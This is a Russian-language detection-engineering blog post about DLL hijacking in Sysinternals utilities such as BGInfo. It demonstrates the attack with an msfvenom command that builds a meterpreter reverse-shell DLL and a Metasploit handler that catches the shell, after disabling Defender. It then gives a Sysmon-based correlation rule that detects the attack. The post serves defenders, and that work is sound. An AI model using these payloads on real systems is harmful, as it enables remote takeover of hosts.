Как стать автором
Обновить

Detection is easy. DLL Hijacking в инструментах SysInternals

Время на прочтение2 мин
Количество просмотров1.3K

Продолжаем серию статей - Detection is easy, посвященных Detection engineering (DE), о чем я пишу в одноименном Telegram-канале. Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.

Описание уязвимостей

Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.

Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.

Попытка загрузить TextShaping.dll в текущей рабочей директории (CWD)
Попытка загрузить TextShaping.dll в текущей рабочей директории (CWD)

На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.

Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll

Разместим созданную DLL со скачанным BGInfo в одной папке.

Вредоносная dll и легитимный BGinfo.exe
Вредоносная dll и легитимный BGinfo.exe

На атакующей машине создадим handler для meterpreter.

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lport 5555
set lhost 192.168.0.10
run

Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.

Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.

Пример запуска с WebDAV
Пример запуска с WebDAV

Обнаружение атаки

Логику обнаружения напишем на языке XP.

Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.

event CreateProcess:
    key:
        event_src.host, object.process.id, object.process.path 
    filter {
        filter::NotFromCorrelator()
        and filter::ProcessStart_Windows_any()
        and regex(lower(object.process.meta), "sysinternals", 0) != null
    }

event LoadLibrary:
    key:
        event_src.host, subject.process.id, object.process.path 
    filter {
        filter::NotFromCorrelator()
        msgid == 7 and event_src.title == "sysmon"
        and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null
        and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name))
    }

rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary

В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.

Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.

Теги:
Хабы:
Всего голосов 5: ↑3 и ↓2+1
Комментарии6

Публикации